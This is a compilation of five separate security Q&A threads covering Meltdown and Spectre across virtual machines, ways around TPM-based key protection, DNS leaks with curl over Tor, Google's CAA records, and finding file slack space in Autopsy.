What is meant by this is: Can a program (with any access and priveledge level desired) within a fully-virtualized machine use the meltdown vulnerability to access memory on the host machine (which should include memory allocated to other VMs on the same host)?

Note that since two conflicting references have already been cited, answers must not only give references, but show how any opposing references are incorrect or not giving the whole picture.

The references you mention don't conflict with each other. The first one claims for Meltdown that "Fully virtualized machines are not affected". The second one claims that the product is "vulnerable to Bounds Check Bypass and Branch Target Injection issues". These issues are not the Meltdown but the Spectre vulnerability.

Or to summarize:

CVE-2017-5753 - Bounds Check bypass (Spectre) - works cross VM
CVE-2017-5715 - Branch Target Injection (Spectre) - works cross VM
CVE-2017-5754 - Rogue Data Cache Load (Meltdown) - does not work cross VM


Bypassing Trusted Computing I have not been able to find any information about trusted computing on the Internet. I am reasonably sure that its software manifestation can be bypassed by a Linux live disk, but what about hardware versions?

The Trusted Platform Module which is built into all new Intel processors hasn't been around for very long and I am not aware of any publicly known attacks directly against TPM.

However, an important principle of security "The system as a whole is only as strong as its weakest link."  So how TPM is bypassed really depends on how TPM is being used.  A good example is ChromeOS using TPM to manage encryption keys.  However,  the user's encryption key is based on your password,  which could be obtained with a Hardware Keylogger,  Phising,  Rubber Hose Cryptanalysis,  or other means.

Although TPM is probably a good solution for key storage,  there are many ways to obtaining secrets.


Can the real IP address leak using curl via Tor? Having seen Tor via Python - can the real IP address leak? I am no longer sure whether or not using

  curl -L --insecure -C - --socks5 localhost:9150 -H "User-Agent: " check.torproject.org

is as secure as the python version in the linked post

where
-L is to follow redirects
--insecure is to allow "invalid" HTTPS certificates
-C - is to continue downloading from where it left off (in case the download breaks)
--socks5 localhost:9150 is where the Tor service is running (default port)
-H "User-Agent: " is set the user-agent string to {blank}
check.torproject.org is the page to download

The IP contained in the response is that of the exit node, but I do not know whether or not rdns (reverse DNS? - mentioned in linked post) is relevant to curl

The question is: Is the command above as secure as that in the linked post?

--socks5 will use the SOCKS5 protocol for the HTTP connections but the name lookup will still be done using the normal DNS which means that your public IP address can be seen by the external name server you use. To do name lookup through the proxy too you need to use --socks5-hostname option.

From the documentation of curl

  --socks5
     Use the specified SOCKS5 proxy - but resolve the host name locally.

  --socks5-hostname
                Use the specified SOCKS5 proxy (and let the proxy resolve the host name)


Google certificate and CAA I am fiddling around with certificates, trying to harden my own sites.
When doing so, I noticed that Google have some weird configuration of their CAA.

Looking at their ssllabs results, or using normal Linux cli:

me { ~ }$ dig google.com CAA +short
0 issue "symantec.com"
0 issue "pki.goog"

You can see that google have listed symantec.com as a certificate authority that are allowed to issue certificates for they domain.

Based on some resent news, I would imagine Google doing the exact opposite, ie, pinning symantec to never issue a google certificate.

Does anyone know of a good reason for this? Or am I not understanding the whole picture?

Update: Just saw isc.sans.org published a diary about CAA a couple of hours after I asked this. No enlightenment tho..

Google still uses the issuing intermediate certificate (Google Internet Authority G2), signed by Geotrust (a part of Symantec group). Perhaps, this is the indirect reason why they have to keep symantec.com whitelisted in CAA. https://pki.google.com/

They have obtained their own root certificates recently, so they will stop using third-party CAs sooner or later. https://pki.goog/ is their own CA from now on.


Autopsy uncovering slack space of a file I'm using Autopsy and need to recover a hidden password inside a slack space in another file.

Autopsy shows that each sector for my disk is 512 bytes. The file starts at 4365 of the sector and the file is 677 bytes large. Calculating with 4365 sectors * 512 bytes / sector + 677 bytes = 2,235,557 which should be where my slack space is.

My file that I need to look through doesn't have that big of an offset, and the $Unalloc file has nothing shown when I go to offset 2,235,557.

I'm not sure where I'm supposed to look, the actual existing file, or the $Unalloc file that has deleted contents which has the offset I'm looking for, but has nothing but 0's on that offset.

I'm not sure but do you know that file slack is the difference between the physical file size and the logical file size ?

Assuming you are investigating a standard Windows PC with a standard hard drive, and giving the sector size you gave, the cluster size should be of 8 sectors which is 4Kb.

Your file is 677 bytes which means its given 4096 bytes of space (which is 1 cluster or the smallest unit that can be handled by your file system)  this means that the difference between the end of your logical file (677bytes) and the end of the physical size given (4096 bytes) is your slack.

Check this link out it may help :  Analysis of hidden data in the NTFS file system